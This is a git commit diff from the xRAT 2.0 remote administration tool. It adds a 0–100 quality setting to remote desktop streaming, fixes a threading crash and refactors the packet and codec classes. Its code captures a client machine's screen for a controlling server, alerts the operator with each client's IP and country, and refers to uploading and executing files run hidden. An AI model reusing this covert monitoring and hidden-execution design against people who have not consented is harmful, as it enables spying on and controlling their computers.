Improved Remote Desktop

- Added ability to change quality of remote desktop
- Fixed another cross threading crash
This commit is contained in:
MaxXor 2015-04-02 10:26:57 +02:00
parent 43ea61b537
commit d140ca438e
13 changed files with 122 additions and 141 deletions

View File

@ -215,43 +215,25 @@ public static void HandleUninstall(Packets.ServerPackets.Uninstall command, Clie
public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
{
if (StreamCodec == null)
{
StreamCodec = new UnsafeStreamCodec(75);
}
if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality)
StreamCodec = new UnsafeStreamCodec(command.Quality);
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
BitmapData bmpdata = LastDesktopScreenshot.LockBits(new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, LastDesktopScreenshot.PixelFormat);
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Number);
BitmapData bmpdata = LastDesktopScreenshot.LockBits(
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
LastDesktopScreenshot.PixelFormat);
using(MemoryStream stream = new MemoryStream())
using (MemoryStream stream = new MemoryStream())
{
StreamCodec.CodeImage(bmpdata.Scan0, new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat, stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray()).Execute(client);
StreamCodec.CodeImage(bmpdata.Scan0,
new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
stream);
new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality).Execute(client);
}
LastDesktopScreenshot.UnlockBits(bmpdata);
LastDesktopScreenshot.Dispose();
/*if (LastDesktopScreenshot == null)
{
LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
byte[] desktop = Helper.Helper.CImgToByte(LastDesktopScreenshot, System.Drawing.Imaging.ImageFormat.Jpeg);
new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
}
else
{
Bitmap currentDesktopScreenshot = Helper.Helper.GetDesktop(command.Mode, command.Number);
using (Bitmap changesScreenshot = Helper.Helper.GetDiffDesktop(LastDesktopScreenshot, currentDesktopScreenshot))
{
LastDesktopScreenshot = currentDesktopScreenshot;
byte[] desktop = Helper.Helper.CImgToByte(changesScreenshot, System.Drawing.Imaging.ImageFormat.Png);
new Packets.ClientPackets.DesktopResponse(desktop).Execute(client);
}
}*/
}
public static void HandleGetProcesses(Packets.ServerPackets.GetProcesses command, Client client)

View File

@ -30,31 +30,12 @@ public static string GetRandomName(int length)
return randomName.ToString();
}
public static byte[] CImgToByte(Image image, System.Drawing.Imaging.ImageFormat format)
public static Bitmap GetDesktop(int screenNumber)
{
using (MemoryStream ms = new MemoryStream())
{
image.Save(ms, format);
return ms.ToArray();
}
}
public static Bitmap GetDesktop(int mode, int number)
{
var bounds = Screen.AllScreens[number].Bounds;
var bounds = Screen.AllScreens[screenNumber].Bounds;
var screenshot = new Bitmap(bounds.Width, bounds.Height, System.Drawing.Imaging.PixelFormat.Format32bppArgb);
using (Graphics graph = Graphics.FromImage(screenshot))
{
switch (mode)
{
case 1:
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighSpeed;
break;
case 2:
graph.CompositingQuality = System.Drawing.Drawing2D.CompositingQuality.HighQuality;
break;
}
graph.CopyFromScreen(bounds.X, bounds.Y, 0, 0, bounds.Size, CopyPixelOperation.SourceCopy);
return screenshot;
}

View File

@ -24,7 +24,6 @@ private set
}
}
public Size CheckBlock { get; private set; }
private byte[] _encodeBuffer;
private Bitmap _decodedBitmap;
@ -50,7 +49,7 @@ private set
/// Initialize a new object of UnsafeStreamCodec
/// </summary>
/// <param name="imageQuality">The quality to use between 0-100</param>
public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true)
public UnsafeStreamCodec(int imageQuality = 100)
{
this.CheckBlock = new Size(50, 1);
this.ImageQuality = imageQuality;

View File

@ -8,10 +8,14 @@ public class DesktopResponse : IPacket
[ProtoMember(1)]
public byte[] Image { get; set; }
[ProtoMember(2)]
public int Quality { get; set; }
public DesktopResponse() { }
public DesktopResponse(byte[] image)
public DesktopResponse(byte[] image, int quality)
{
this.Image = image;
this.Quality = quality;
}
public void Execute(Client client)

View File

@ -6,15 +6,15 @@ namespace xClient.Core.Packets.ServerPackets
public class Desktop : IPacket
{
[ProtoMember(1)]
public int Mode { get; set; }
public int Quality { get; set; }
[ProtoMember(2)]
public int Number { get; set; }
public Desktop() { }
public Desktop(int mode, int number)
public Desktop(int quality, int number)
{
this.Mode = mode;
this.Quality = quality;
this.Number = number;
}

View File

@ -13,13 +13,14 @@ namespace xServer.Core.Commands
public static class CommandHandler
{
private const string DELIMITER = "$E$";
private static int lastQuality = -1;
public static void HandleInitialize(Client client, Initialize packet, FrmMain mainForm)
public static void HandleInitialize(Client client, Initialize packet)
{
if (client.EndPoint.Address.ToString() == "255.255.255.255")
return;
mainForm.Invoke((MethodInvoker)delegate
FrmMain.Instance.Invoke((MethodInvoker)delegate
{
try
{
@ -32,11 +33,11 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma
client.Value.City = packet.City;
client.Value.Id = packet.Id;
if (!mainForm.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
mainForm.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
if (!FrmMain.Instance.ListenServer.AllTimeConnectedClients.ContainsKey(client.Value.Id))
FrmMain.Instance.ListenServer.AllTimeConnectedClients.Add(client.Value.Id, DateTime.Now);
mainForm.ListenServer.ConnectedClients++;
mainForm.UpdateWindowTitle(mainForm.ListenServer.ConnectedClients, mainForm.lstClients.SelectedItems.Count);
FrmMain.Instance.ListenServer.ConnectedClients++;
FrmMain.Instance.UpdateWindowTitle(FrmMain.Instance.ListenServer.ConnectedClients, FrmMain.Instance.lstClients.SelectedItems.Count);
string country = string.Format("{0} [{1}]", client.Value.Country, client.Value.CountryCode);
@ -49,10 +50,10 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma
}) { Tag = client, ImageIndex = packet.ImageIndex };
mainForm.lstClients.Items.Add(lvi);
FrmMain.Instance.lstClients.Items.Add(lvi);
if (XMLSettings.ShowPopup)
ShowPopup(client, mainForm);
ShowPopup(client);
client.Value.IsAuthenticated = true;
}
@ -61,21 +62,21 @@ public static void HandleInitialize(Client client, Initialize packet, FrmMain ma
});
}
private static void ShowPopup(Client c, FrmMain mainForm)
private static void ShowPopup(Client c)
{
mainForm.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info);
FrmMain.Instance.nIcon.ShowBalloonTip(30, string.Format("Client connected from {0}!", c.Value.Country), string.Format("IP Address: {0}\nOperating System: {1}", c.EndPoint.Address.ToString(), c.Value.OperatingSystem), ToolTipIcon.Info);
}
public static void HandleStatus(Client client, Status packet, FrmMain mainForm)
public static void HandleStatus(Client client, Status packet)
{
new Thread(() =>
{
foreach (ListViewItem lvi in mainForm.lstClients.Items)
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
{
Client c = (Client)lvi.Tag;
if (client == c)
{
mainForm.Invoke((MethodInvoker)delegate
FrmMain.Instance.Invoke((MethodInvoker)delegate
{
lvi.SubItems[3].Text = packet.Message;
});
@ -86,16 +87,16 @@ public static void HandleStatus(Client client, Status packet, FrmMain mainForm)
}).Start();
}
public static void HandleUserStatus(Client client, UserStatus packet, FrmMain mainForm)
public static void HandleUserStatus(Client client, UserStatus packet)
{
new Thread(() =>
{
foreach (ListViewItem lvi in mainForm.lstClients.Items)
foreach (ListViewItem lvi in FrmMain.Instance.lstClients.Items)
{
Client c = (Client)lvi.Tag;
if (client == c)
{
mainForm.Invoke((MethodInvoker)delegate
FrmMain.Instance.Invoke((MethodInvoker)delegate
{
lvi.SubItems[4].Text = packet.Message;
});
@ -114,7 +115,9 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
if (client.Value.LastDesktop == null)
{
client.Value.StreamCodec = new Helper.UnsafeStreamCodec(0);
client.Value.StreamCodec = new Helper.UnsafeStreamCodec();
if (lastQuality < 0)
lastQuality = packet.Quality;
using (MemoryStream ms = new MemoryStream(packet.Image))
{
@ -132,15 +135,24 @@ public static void HandleRemoteDesktopResponse(Client client, DesktopResponse pa
{
using (MemoryStream ms = new MemoryStream(packet.Image))
{
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
client.Value.LastDesktop = newScreen;
client.Value.FrmRdp.Invoke((MethodInvoker) delegate
lock (client.Value.StreamCodec)
{
client.Value.FrmRdp.picDesktop.Image = (Bitmap)newScreen.Clone();
});
if (lastQuality != packet.Quality)
{
client.Value.StreamCodec = new Helper.UnsafeStreamCodec();
lastQuality = packet.Quality;
}
newScreen = null;
Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms);
client.Value.LastDesktop = newScreen;
client.Value.FrmRdp.Invoke((MethodInvoker) delegate
{
client.Value.FrmRdp.picDesktop.Image = (Bitmap) newScreen.Clone();
});
newScreen = null;
}
}
}

View File

@ -28,15 +28,6 @@ public static string GetRandomName(int length)
return randomName.ToString();
}
public static Image CByteToImg(byte[] img)
{
using (MemoryStream ms = new MemoryStream(img, 0, img.Length))
{
ms.Write(img, 0, img.Length);
return Image.FromStream(ms, true);
}
}
public static string GetFileSize(long size)
{
string[] sizes = { "B", "KB", "MB", "GB" };

View File

@ -24,7 +24,6 @@ private set
}
}
public Size CheckBlock { get; private set; }
private byte[] _encodeBuffer;
private Bitmap _decodedBitmap;
@ -50,7 +49,7 @@ private set
/// Initialize a new object of UnsafeStreamCodec
/// </summary>
/// <param name="imageQuality">The quality to use between 0-100</param>
public UnsafeStreamCodec(int imageQuality = 100, bool useJpeg = true)
public UnsafeStreamCodec(int imageQuality = 100)
{
this.CheckBlock = new Size(50, 1);
}
@ -154,10 +153,10 @@ public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, P
y += s.Height;
}
for (int i = 0, x = scanArea.X; i < blocks.Count; i++)
for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);
x = scanArea.X;
int x = scanArea.X;
while (x != scanArea.Width)
{
if (x == lastx)

View File

@ -8,10 +8,14 @@ public class DesktopResponse : IPacket
[ProtoMember(1)]
public byte[] Image { get; set; }
[ProtoMember(2)]
public int Quality { get; set; }
public DesktopResponse() { }
public DesktopResponse(byte[] image)
public DesktopResponse(byte[] image, int quality)
{
this.Image = image;
this.Quality = quality;
}
public void Execute(Client client)

View File

@ -6,15 +6,15 @@ namespace xServer.Core.Packets.ServerPackets
public class Desktop : IPacket
{
[ProtoMember(1)]
public int Mode { get; set; }
public int Quality { get; set; }
[ProtoMember(2)]
public int Number { get; set; }
public Desktop() { }
public Desktop(int mode, int number)
public Desktop(int quality, int number)
{
this.Mode = mode;
this.Quality = quality;
this.Number = number;
}

View File

@ -14,8 +14,7 @@ public partial class FrmMain : Form
{
public Server ListenServer;
private readonly ListViewColumnSorter _lvwColumnSorter;
private static FrmMain Instance;
public static volatile FrmMain Instance;
private void ReadSettings(bool writeIfNotExist = true)
{
@ -184,12 +183,17 @@ private void ClientState(Server server, Client client, bool connected)
}
else
{
foreach (ListViewItem lvi in lstClients.Items)
if ((Client)lvi.Tag == client)
this.Invoke((MethodInvoker) delegate
{
foreach (ListViewItem lvi in lstClients.Items)
{
lvi.Remove();
server.ConnectedClients--;
if ((Client) lvi.Tag == client)
{
lvi.Remove();
server.ConnectedClients--;
}
}
});
UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count);
}
}
@ -201,18 +205,18 @@ private void ClientRead(Server server, Client client, IPacket packet)
if (!client.Value.IsAuthenticated)
{
if (type == typeof(Core.Packets.ClientPackets.Initialize))
CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet, this);
CommandHandler.HandleInitialize(client, (Core.Packets.ClientPackets.Initialize)packet);
else
return;
}
if (type == typeof(Core.Packets.ClientPackets.Status))
{
CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet, this);
CommandHandler.HandleStatus(client, (Core.Packets.ClientPackets.Status)packet);
}
else if (type == typeof(Core.Packets.ClientPackets.UserStatus))
{
CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet, this);
CommandHandler.HandleUserStatus(client, (Core.Packets.ClientPackets.UserStatus)packet);
}
else if (type == typeof(Core.Packets.ClientPackets.DesktopResponse))
{
@ -476,7 +480,7 @@ private void ctxtLocalFile_Click(object sender, EventArgs e)
{
Client c = (Client)lvi.Tag;
new Core.Packets.ServerPackets.UploadAndExecute(UploadAndExecute.File, UploadAndExecute.FileName, UploadAndExecute.RunHidden).Execute(c);
CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."), this);
CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file..."));
}
}
}

View File

@ -37,9 +37,9 @@ private void InitializeComponent()
this.btnMouse = new System.Windows.Forms.Button();
this.picDesktop = new System.Windows.Forms.PictureBox();
this.panelTop = new System.Windows.Forms.Panel();
this.cbMonitors = new System.Windows.Forms.ComboBox();
this.btnHide = new System.Windows.Forms.Button();
this.btnShow = new System.Windows.Forms.Button();
this.cbMonitors = new System.Windows.Forms.ComboBox();
((System.ComponentModel.ISupportInitialize)(this.barQuality)).BeginInit();
((System.ComponentModel.ISupportInitialize)(this.picDesktop)).BeginInit();
this.panelTop.SuspendLayout();
@ -69,12 +69,12 @@ private void InitializeComponent()
// barQuality
//
this.barQuality.Location = new System.Drawing.Point(230, 3);
this.barQuality.Maximum = 2;
this.barQuality.Maximum = 100;
this.barQuality.Minimum = 1;
this.barQuality.Name = "barQuality";
this.barQuality.Size = new System.Drawing.Size(104, 45);
this.barQuality.TabIndex = 3;
this.barQuality.Value = 1;
this.barQuality.Value = 75;
this.barQuality.Scroll += new System.EventHandler(this.barQuality_Scroll);
//
// lblQuality
@ -82,18 +82,18 @@ private void InitializeComponent()
this.lblQuality.AutoSize = true;
this.lblQuality.Location = new System.Drawing.Point(184, 18);
this.lblQuality.Name = "lblQuality";
this.lblQuality.Size = new System.Drawing.Size(40, 13);
this.lblQuality.Size = new System.Drawing.Size(47, 13);
this.lblQuality.TabIndex = 4;
this.lblQuality.Text = "Mode:";
this.lblQuality.Text = "Quality:";
//
// lblQualityShow
//
this.lblQualityShow.AutoSize = true;
this.lblQualityShow.Location = new System.Drawing.Point(262, 38);
this.lblQualityShow.Location = new System.Drawing.Point(254, 38);
this.lblQualityShow.Name = "lblQualityShow";
this.lblQualityShow.Size = new System.Drawing.Size(39, 13);
this.lblQualityShow.Size = new System.Drawing.Size(52, 13);
this.lblQualityShow.TabIndex = 5;
this.lblQualityShow.Text = "Speed";
this.lblQualityShow.Text = "75 (high)";
//
// btnMouse
//
@ -136,6 +136,15 @@ private void InitializeComponent()
this.panelTop.Size = new System.Drawing.Size(384, 57);
this.panelTop.TabIndex = 7;
//
// cbMonitors
//
this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cbMonitors.FormattingEnabled = true;
this.cbMonitors.Location = new System.Drawing.Point(15, 30);
this.cbMonitors.Name = "cbMonitors";
this.cbMonitors.Size = new System.Drawing.Size(149, 21);
this.cbMonitors.TabIndex = 8;
//
// btnHide
//
this.btnHide.Location = new System.Drawing.Point(170, 37);
@ -157,16 +166,7 @@ private void InitializeComponent()
this.btnShow.Visible = false;
this.btnShow.Click += new System.EventHandler(this.btnShow_Click);
//
// cbMonitors
//
this.cbMonitors.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.cbMonitors.FormattingEnabled = true;
this.cbMonitors.Location = new System.Drawing.Point(15, 30);
this.cbMonitors.Name = "cbMonitors";
this.cbMonitors.Size = new System.Drawing.Size(149, 21);
this.cbMonitors.TabIndex = 8;
//
// frmRemoteDesktop
// FrmRemoteDesktop
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
@ -179,7 +179,7 @@ private void InitializeComponent()
this.KeyPreview = true;
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(570, 421);
this.Name = "frmRemoteDesktop";
this.Name = "FrmRemoteDesktop";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "xRAT 2.0 - Remote Desktop []";
this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRemoteDesktop_FormClosing);

View File

@ -2,6 +2,7 @@
using System.Threading;
using System.Windows.Forms;
using xServer.Core;
using xServer.Core.Helper;
namespace xServer.Forms
{
@ -47,21 +48,22 @@ private void GetDesktop()
{
btnStart.Enabled = false;
btnStop.Enabled = true;
barQuality.Enabled = false;
});
if (_connectClient.Value != null)
{
if (_connectClient.Value.LastDesktopSeen)
{
int Quality = 1;
int SelectedMonitorIndex = 0;
int quality = 1;
int selectedMonitorIndex = 0;
this.Invoke((MethodInvoker)delegate
{
Quality = barQuality.Value;
SelectedMonitorIndex = cbMonitors.SelectedIndex;
quality = barQuality.Value;
selectedMonitorIndex = cbMonitors.SelectedIndex;
});
new Core.Packets.ServerPackets.Desktop(Quality, SelectedMonitorIndex).Execute(_connectClient);
new Core.Packets.ServerPackets.Desktop(quality, selectedMonitorIndex).Execute(_connectClient);
_connectClient.Value.LastDesktopSeen = false;
}
}
@ -77,6 +79,7 @@ private void GetDesktop()
{
btnStart.Enabled = true;
btnStop.Enabled = false;
barQuality.Enabled = true;
});
}
catch
@ -111,15 +114,17 @@ private void btnStop_Click(object sender, EventArgs e)
private void barQuality_Scroll(object sender, EventArgs e)
{
switch (barQuality.Value)
{
case 1:
lblQualityShow.Text = "Speed";
break;
case 2:
lblQualityShow.Text = "Quality";
break;
}
int value = barQuality.Value;
lblQualityShow.Text = value.ToString();
if (value < 25)
lblQualityShow.Text += " (low)";
else if (value >= 85)
lblQualityShow.Text += " (best)";
else if (value >= 75)
lblQualityShow.Text += " (high)";
else if (value >= 25)
lblQualityShow.Text += " (mid)";
}
private void btnMouse_Click(object sender, EventArgs e)